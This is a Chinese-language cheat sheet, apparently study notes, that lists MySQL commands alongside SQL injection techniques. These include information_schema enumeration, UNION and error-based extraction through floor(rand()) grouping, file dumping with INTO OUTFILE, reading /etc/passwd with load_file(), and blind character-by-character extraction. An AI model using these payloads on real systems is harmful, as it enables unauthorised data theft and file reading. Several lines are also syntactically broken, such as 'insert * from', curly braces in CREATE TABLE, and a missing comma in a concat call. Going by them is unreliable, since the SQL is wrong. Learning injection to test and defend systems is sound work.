- mysql -u 用戶名 -p 密碼 -h IP地址
- show databases; 查看數據庫
- select version(); php注入的版本號
- use database(表名);
- show tables; 顯示這張表的表名
- select * from table;
- insert * from table;
- create database 庫名; 創建數據庫
- create table 表名(字段名 VARCHAR(20),字段名 CHAR(1));
- create table pet{ name varchar(20), owner varchar(20)}
- desc 表名; 如:desc pet 查看表的信息
- drop database 庫名; 刪除庫名
- drop table 表名; 刪除數據表
- delete from 表名; 將表中記錄清空
- mysql中的information_schema,提供了訪問數據元數據的方式,確切說是信息數據庫。其中保存着關於MySQL的服務器所維護的所有其他數據庫的信息。如數據庫名、數據庫的表等。常用的information_schema數據庫表說明:
- SCHEMATA表--------------提供當前mysql實例中所有數據庫信息
- TABLES表-----------------提供了關於數據庫中的表的信息
- COLUMNS表---------------提供了表中的列信息。
- 通過(基於單引號錯誤、雙引號錯誤、數字型、單引號變形、雙引號變形)判斷注入的類型;
- order by 判斷有多少列
- union select ---(version(),user(),current_user)
- select count(*) from information_schema.tables;
- select rand();
- select table_name,table_schema from information_schema.tables group by table_schema;
- select database();
- select concat((select database())); 將字符串連接在一起
- select concat(0x3a,0x3a,(select database()),0x3a,0x3a)
- select concat(0x3a,0x3a,(select database()),0x3a,0x3a) a; 連接起來形成一個單一字符串,起個名字a
- select concat(0x3a,0x3a(select database()),0x3a,0x3a,floor(rand()*2)) a from information_schema.columns;
- select concat(0x3a,0x3a(select database()),0x3a,0x3a,floor(rand()*2)) a from information_schema.tables;
-
select count(*),concat(0x3a,0x3a(select database()),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;將得到字符串分組
- 這樣在幾次嘗試后,會得到一個錯誤信息,由於隨機數字重復了,這里會爆出一些想要的信息
- select * from users into outfile "/tmp/tests.txt" 導出
- select * from users limit 0,1 into dumpfile "/tmp/test2.txt" dumpfile只能使用一行,所以下載數據庫時候給個限制。
- select load_file("/etc/passwd"); 將文件系統數據導入mysql中
- select load_file("etc/passwd") into outfile "tmp/test4.txt";
- select length(database());
- select substr(database(),1,1);取第一個字符
- select ascii(substr(database(),1,1));